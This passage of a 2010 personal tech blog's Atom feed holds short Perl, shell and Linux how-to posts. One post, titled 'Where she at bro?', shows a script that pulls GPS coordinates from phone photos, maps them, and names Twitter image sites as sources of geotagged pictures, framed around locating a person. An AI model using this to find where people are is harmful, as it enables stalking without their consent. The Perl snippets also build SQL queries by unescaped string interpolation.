cli:&lt;br /&gt;curl xkcd.com | grep -E -oh 'title=".* alt=' | grep 'title' | grep -E -oh '".*?"'&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5453036608927846008?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5453036608927846008/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5453036608927846008' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5453036608927846008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5453036608927846008'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/12/pull-alt-title-tag-from-xkcd-picture.html' title='Pull the alt / title tag from xkcd picture from command line'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-9122128874475683304</id><published>2010-11-08T17:20:00.001-08:00</published><updated>2010-11-08T17:29:56.463-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arch linux'/><category scheme='http://www.blogger.com/atom/ns#' term='blu ray'/><category scheme='http://www.blogger.com/atom/ns#' term='mount'/><category scheme='http://www.blogger.com/atom/ns#' term='iso'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='movie'/><title type='text'>Mounting a blue ray iso on linux, to play in vlc</title><content type='html'>Recently downloaded a blu ray movie on my seed box, went to play it and I could mount it in ubuntu but the default setting still would not let me watch the movie in vlc. However after a quick google search I went here:&lt;br /&gt;http://ubuntuforums.org/showthread.php?t=1209981&lt;br /&gt;&lt;br /&gt;And sure enough the guys advice which was to mount with:&lt;br /&gt;sudo mount -o loop -t udf pathtobluray.iso /media/cdrom&lt;br /&gt;&lt;br /&gt;Worked perfectly. Once mounted navigate to the directory with vlc /dev/cdrom/BDVM/STREAM/*.m2ts&lt;br /&gt;&lt;br /&gt;I put an asterisk because I am not certain the m2ts is the same name on every blu ray.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-9122128874475683304?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/9122128874475683304/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=9122128874475683304' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9122128874475683304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9122128874475683304'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/11/mounting-blue-ray-iso-on-linux-to-play.html' title='Mounting a blue ray iso on linux, to play in vlc'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-9062355641406092461</id><published>2010-11-08T17:13:00.000-08:00</published><updated>2010-11-08T17:34:18.531-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dbi'/><category scheme='http://www.blogger.com/atom/ns#' term='array'/><category scheme='http://www.blogger.com/atom/ns#' term='query'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='hash'/><category scheme='http://www.blogger.com/atom/ns#' term='hashes'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='tables'/><title type='text'>Using perl to create hash tables like your mysql tables</title><content type='html'>The subroutine Below will take an array of table names and put the columns in a hash, then grab rows and match said rows with said field/column. So that $tableData('salesdatafirst_name') would be the value for the first name column in the tables sales data, in the row based on your condition in the second query of the subroutine.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;sub get_table_data {&lt;br /&gt; foreach(@_){&lt;br /&gt;  my @ColumnNames;&lt;br /&gt;  $data_name = $_;&lt;br /&gt;  $dbh = DBI-&gt;connect($connectionInfo,$userid,$passwd) or print "Couldn't connect to database: ". DBI-&gt;errstr;&lt;br /&gt;  $sql = "SHOW COLUMNS FROM $data_name";&lt;br /&gt;  $str =  $dbh-&gt;prepare($sql) or print "Couldn't prepare query: ". DBI-&gt;errstr;&lt;br /&gt;  $str-&gt;execute() or print "Couldn't execute query: ". DBI-&gt;errstr;&lt;br /&gt;  while (@querytwo = $str-&gt;fetchrow_array()) {  #loop thru results&lt;br /&gt;   $tableData{$data_name.$querytwo[0]}='';&lt;br /&gt;   $tableHashHelper = $data_name.$querytwo[0];&lt;br /&gt;   push(@ColumnNames, $tableHashHelper);&lt;br /&gt;  } &lt;br /&gt;  &lt;br /&gt;  $sql = "SELECT * FROM $data_name WHERE condition = '$yourcondition'";&lt;br /&gt;  $str =  $dbh-&gt;prepare($sql) or print "Couldn't prepare query: ". DBI-&gt;errstr;&lt;br /&gt;  $str-&gt;execute() or print "Couldn't execute query: ". DBI-&gt;errstr;&lt;br /&gt;  while (@Q = $str-&gt;fetchrow_array()) {  #loop thru results&lt;br /&gt;   for ($i=0; $i&lt;=$#Q; $i++) {&lt;br /&gt;    $tableData{$ColumnNames[$i]} = $Q[$i];&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt; undef(@tableColumnNames);&lt;br /&gt; $dbh-&gt;disconnect();&lt;br /&gt; }&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-9062355641406092461?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/9062355641406092461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=9062355641406092461' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9062355641406092461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9062355641406092461'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/11/using-perl-to-create-hash-tables-like.html' title='Using perl to create hash tables like your mysql tables'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5862246098788281580</id><published>2010-11-06T09:30:00.000-07:00</published><updated>2010-11-06T09:34:30.036-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='image::exiftool'/><category scheme='http://www.blogger.com/atom/ns#' term='geotagged'/><category scheme='http://www.blogger.com/atom/ns#' term='geolocation'/><category scheme='http://www.blogger.com/atom/ns#' term='exif'/><category scheme='http://www.blogger.com/atom/ns#' term='pictures'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Retrieving Exif data, or Where she at bro?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://wereboobs.com/test27.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 400px;" src="http://wereboobs.com/test27.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Geolocation data in some cameras and many smart phones is embedded in the photos that these devices take.&lt;br /&gt;&lt;br /&gt;&lt;iframe width="425" height="350" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="http://www.google.com/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=43+49'+42.60%22+N,+79+7'+24.00%22+W&amp;amp;sll=36.141953,-86.825187&amp;amp;sspn=0.008474,0.021007&amp;amp;ie=UTF8&amp;amp;z=14&amp;amp;ll=43.828376,-79.123644&amp;amp;output=embed"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href="http://www.google.com/maps?f=q&amp;amp;source=embed&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=43+49'+42.60%22+N,+79+7'+24.00%22+W&amp;amp;sll=36.141953,-86.825187&amp;amp;sspn=0.008474,0.021007&amp;amp;ie=UTF8&amp;amp;z=14&amp;amp;ll=43.828376,-79.123644" style="color:#0000FF;text-align:left"&gt;View Larger Map&lt;/a&gt;&lt;/small&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;**Technical information**&lt;br /&gt;&lt;br /&gt;The incredibly simple script **must install Image::ExifTool**&lt;br /&gt;Image::ExifTool can be installed rather easily, through cpan.&lt;br /&gt;&lt;br /&gt;use Image::ExifTool qw(:Public);&lt;br /&gt;my $info = ImageInfo("$ARGV[0]");&lt;br /&gt;&lt;br /&gt;foreach (keys %$info) {&lt;br /&gt;    print "$_ =&gt; $$info{$_}\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;run it like this:&lt;br /&gt;perl meta.pl test3.jpg&lt;br /&gt;&lt;br /&gt;Output for this looks like:&lt;br /&gt;&lt;br /&gt;GPSLatitude (1) =&gt; 43 deg 49' 42.60"&lt;br /&gt;GPSLatitude =&gt; 43 deg 49' 42.60" N&lt;br /&gt;GPSLongitudeRef =&gt; West&lt;br /&gt;GPSTimeStamp =&gt; 01:00:12.48&lt;br /&gt;GPSLatitudeRef =&gt; North&lt;br /&gt;GPSLongitude =&gt; 79 deg 7' 24.00" W&lt;br /&gt;GPSPosition =&gt; 43 deg 49' 42.60" N, 79 deg 7' 24.00" W&lt;br /&gt;GPSLongitude (1) =&gt; 79 deg 7' 24.00"&lt;br /&gt;lane@skullfuckerthemagnificent:~/Pictures$ perl meta.pl test27.jpg&lt;br /&gt;XResolution (1) =&gt; 1&lt;br /&gt;ImageWidth =&gt; 600&lt;br /&gt;Model =&gt; iPhone&lt;br /&gt;ExifImageHeight =&gt; 1600&lt;br /&gt;GPSLatitude (1) =&gt; 43 deg 49' 42.60"&lt;br /&gt;ResolutionUnit =&gt; inches&lt;br /&gt;ColorComponents =&gt; 3&lt;br /&gt;BitsPerSample =&gt; 8&lt;br /&gt;GPSLatitude =&gt; 43 deg 49' 42.60" N&lt;br /&gt;MIMEType =&gt; image/jpeg&lt;br /&gt;FileType =&gt; JPEG&lt;br /&gt;GPSLongitudeRef =&gt; West&lt;br /&gt;ResolutionUnit (1) =&gt; None&lt;br /&gt;ExifToolVersion =&gt; 8.25&lt;br /&gt;FilePermissions =&gt; rw-r--r--&lt;br /&gt;JFIFVersion =&gt; 1.02&lt;br /&gt;Directory =&gt; .&lt;br /&gt;FileName =&gt; test27.jpg&lt;br /&gt;ImageHeight =&gt; 800&lt;br /&gt;XResolution =&gt; 72&lt;br /&gt;Make =&gt; Apple&lt;br /&gt;DateTimeOriginal =&gt; 2009:04:08 01:00:13&lt;br /&gt;GPSTimeStamp =&gt; 01:00:12.48&lt;br /&gt;CreateDate =&gt; 2009:04:08 01:00:13&lt;br /&gt;YCbCrSubSampling =&gt; YCbCr4:4:0 (1 2)&lt;br /&gt;ExifByteOrder =&gt; Little-endian (Intel, II)&lt;br /&gt;FileModifyDate =&gt; 2010:10:22 07:43:26-05:00&lt;br /&gt;ExifImageWidth =&gt; 1200&lt;br /&gt;ColorSpace =&gt; sRGB&lt;br /&gt;EncodingProcess =&gt; Baseline DCT, Huffman coding&lt;br /&gt;FileSize =&gt; 58 kB&lt;br /&gt;YResolution =&gt; 72&lt;br /&gt;Aperture =&gt; 2.8&lt;br /&gt;GPSLatitudeRef =&gt; North&lt;br /&gt;GPSLongitude =&gt; 79 deg 7' 24.00" W&lt;br /&gt;GPSPosition =&gt; 43 deg 49' 42.60" N, 79 deg 7' 24.00" W&lt;br /&gt;YResolution (1) =&gt; 1&lt;br /&gt;FNumber =&gt; 2.8&lt;br /&gt;ModifyDate =&gt; 2009:04:08 01:00:13&lt;br /&gt;GPSLongitude (1) =&gt; 79 deg 7' 24.00"&lt;br /&gt;ImageSize =&gt; 600x80&lt;br /&gt;&lt;br /&gt;and if you have linux, mac, or your operating from within cygwin on windows this helps:&lt;br /&gt;&lt;br /&gt;perl meta.pl test3.jpg | grep 'GPS'&lt;br /&gt;&lt;br /&gt;Output for this will look like:&lt;br /&gt;&lt;br /&gt;GPSLatitude (1) =&gt; 43 deg 49' 42.60"&lt;br /&gt;GPSLatitude =&gt; 43 deg 49' 42.60" N&lt;br /&gt;GPSLongitudeRef =&gt; West&lt;br /&gt;GPSTimeStamp =&gt; 01:00:12.48&lt;br /&gt;GPSLatitudeRef =&gt; North&lt;br /&gt;GPSLongitude =&gt; 79 deg 7' 24.00" W&lt;br /&gt;GPSPosition =&gt; 43 deg 49' 42.60" N, 79 deg 7' 24.00" W&lt;br /&gt;GPSLongitude (1) =&gt; 79 deg 7' 24.00"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GPSPosition is the one your looking for you will need to trim it for google maps(IE 43 49' 42.60" N, 79 7' 24.00" W).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Most photos that get uploaded to the intarwebs get altered by resizing software or watermarking software or what not. When these photos are altered, many times thier EXIF information is cleared and replaced with information about the software that has done this(ie imagemagic GD). So most photos are not very useful. Sites that might be useful are probably twitter related image storage sites, simply because they consider stuff like geotags valuable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5862246098788281580?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5862246098788281580/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5862246098788281580' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5862246098788281580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5862246098788281580'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/11/retrieving-exif-data-or-where-she-at.html' title='Retrieving Exif data, or Where she at bro?'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4218567429153153445</id><published>2010-11-06T08:16:00.000-07:00</published><updated>2010-11-06T08:37:39.218-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dbi'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='hash'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Using DBI putting field / column names in a hash table</title><content type='html'>use DBI;&lt;br /&gt;use DBD::mysql;&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;&lt;br /&gt;my $database = "ci";&lt;br /&gt;my $host = "localhost";&lt;br /&gt;my $port = "3306";&lt;br /&gt;my $tablename = "happy";&lt;br /&gt;my $user = "root";&lt;br /&gt;my $pw = "wouldntyouliketoknow";&lt;br /&gt;&lt;br /&gt;my $dsn = "dbi:mysql:$database:localhost:3306";&lt;br /&gt;my $connect = DBI-&gt;connect($dsn, $user, $pw);&lt;br /&gt;&lt;br /&gt;my $query = "SHOW COLUMNS FROM $tablename";&lt;br /&gt;my $sth = $connect-&gt;prepare($query);&lt;br /&gt;$sth-&gt;execute();&lt;br /&gt;my %hash;&lt;br /&gt;my @ary;&lt;br /&gt;while(@ary = $sth-&gt;fetchrow_array){&lt;br /&gt; $hash{$ary[0]}= '';&lt;br /&gt;}&lt;br /&gt;my $key;&lt;br /&gt;my $value;&lt;br /&gt;&lt;br /&gt;print "\n";&lt;br /&gt;while (($key, $value) = each(%hash)){&lt;br /&gt;     print $key.", ".$value."\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Same as the perl script before, but using DBI module instead of Mysql Module.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4218567429153153445?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4218567429153153445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4218567429153153445' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4218567429153153445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4218567429153153445'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/11/using-dbi-putting-field-column-names-in.html' title='Using DBI putting field / column names in a hash table'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7276056620455292356</id><published>2010-11-06T07:38:00.001-07:00</published><updated>2010-11-06T07:43:55.904-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='hash'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='use Mysql'/><title type='text'>Loading a hash with the field names from a mysql table using cpan's Mysql;</title><content type='html'>#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use Mysql;&lt;br /&gt;use Data::Dumper;&lt;br /&gt;&lt;br /&gt;$host = "localhost";&lt;br /&gt;$database = "ci";&lt;br /&gt;$user = "root";&lt;br /&gt;$pw = "wouldntyouliketoknow";&lt;br /&gt;$table = "happy";&lt;br /&gt;&lt;br /&gt;$db = Mysql-&gt;connect($host, $database, $user, $pw);&lt;br /&gt;$fields = $db-&gt;listfields($table);&lt;br /&gt;@hammer = $fields-&gt;name;&lt;br /&gt;%hash = map { $_ =&gt; 1 } @hammer;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So you can load up a has with the field names on one side, so you can have variables like $hammer{primary_id}.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7276056620455292356?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7276056620455292356/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7276056620455292356' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7276056620455292356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7276056620455292356'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/11/loading-hash-with-field-names-from.html' title='Loading a hash with the field names from a mysql table using cpan&apos;s Mysql;'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5859833551926600552</id><published>2010-11-06T07:36:00.000-07:00</published><updated>2010-11-06T07:38:07.912-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cygdrive'/><category scheme='http://www.blogger.com/atom/ns#' term='drive letter'/><title type='text'>Cygwin, Where's My hardrive?!? interrobang</title><content type='html'>/cygdrive/~driveletter~&lt;br /&gt;&lt;br /&gt;This is more a note for me, lol. New Job has windows computers, yuck.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5859833551926600552?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5859833551926600552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5859833551926600552' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5859833551926600552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5859833551926600552'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/11/cygwin-wheres-my-hardrive-interrobang.html' title='Cygwin, Where&apos;s My hardrive?!? interrobang'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-8120366881394791776</id><published>2010-05-26T04:47:00.000-07:00</published><updated>2010-05-26T06:49:52.993-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bad news'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker art'/><category scheme='http://www.blogger.com/atom/ns#' term='learn'/><category scheme='http://www.blogger.com/atom/ns#' term='work'/><category scheme='http://www.blogger.com/atom/ns#' term='electric skateboard'/><category scheme='http://www.blogger.com/atom/ns#' term='roots'/><title type='text'>Getting Back</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_POMszDp5NQM/S_0m-v_sC-I/AAAAAAAAAFc/CiDwHFISFW0/s1600/2010-05-26+08.40.28.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_POMszDp5NQM/S_0m-v_sC-I/AAAAAAAAAFc/CiDwHFISFW0/s320/2010-05-26+08.40.28.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5475575581429730274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I started looking at the C Sound book yesterday. I knew instantly I needed to learn something new, something both technical and artistic, I haven't quite nailed down what I'm going to do, I do know the general direction I am going. I'm rebooting and reorganizing my experience idea. I was working with arduino and next to have sensors that tell what your mood is and try to change it(maybe for the better). I still love the idea, but I am going to add a human component. I have a lot of hopes of what it will be, and would love to share them with you but I feel if I do so and my plan never comes to fruition, then I will feel even more the fool. So to get in the right mindset, I am getting back in touch with my skiddie roots. I rode an electric skateboard to work today, I safety pinned anti Microsoft logos on my bag, and a cDc logo as well, and other such non sense. Even though physically and mentally I really don't feel that well, knowing I am starting a new project has rays of optimism and excitement. I will hopefully be posting here more, I will be posting on fucking fiction, most assuredly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-8120366881394791776?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/8120366881394791776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=8120366881394791776' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8120366881394791776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8120366881394791776'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/05/getting-back.html' title='Getting Back'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_POMszDp5NQM/S_0m-v_sC-I/AAAAAAAAAFc/CiDwHFISFW0/s72-c/2010-05-26+08.40.28.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7870618769478170627</id><published>2010-05-20T10:45:00.000-07:00</published><updated>2010-05-20T10:46:09.879-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tv'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google TV</title><content type='html'>&lt;a href="http://www.google.com/tv/"&gt;http://www.google.com/tv/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7870618769478170627?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7870618769478170627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7870618769478170627' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7870618769478170627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7870618769478170627'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/05/google-tv.html' title='Google TV'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6833716411683572547</id><published>2010-05-05T09:46:00.000-07:00</published><updated>2010-05-05T09:48:54.768-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='help'/><category scheme='http://www.blogger.com/atom/ns#' term='nashville'/><category scheme='http://www.blogger.com/atom/ns#' term='flood'/><category scheme='http://www.blogger.com/atom/ns#' term='flooded'/><title type='text'>Nashville Flooded</title><content type='html'>My hometown is under water...zomg.  &lt;a href="http://www.boston.com/bigpicture/2010/05/flooding_in_tennessee.html?camp=localsearch:on:twit:bigpic"&gt;Pictures&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://nashvillest.com/2010/05/03/so-nashville-is-flooded-how-can-i-help/"&gt;How to help.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6833716411683572547?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6833716411683572547/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6833716411683572547' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6833716411683572547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6833716411683572547'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2010/05/nashville-flooded.html' title='Nashville Flooded'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 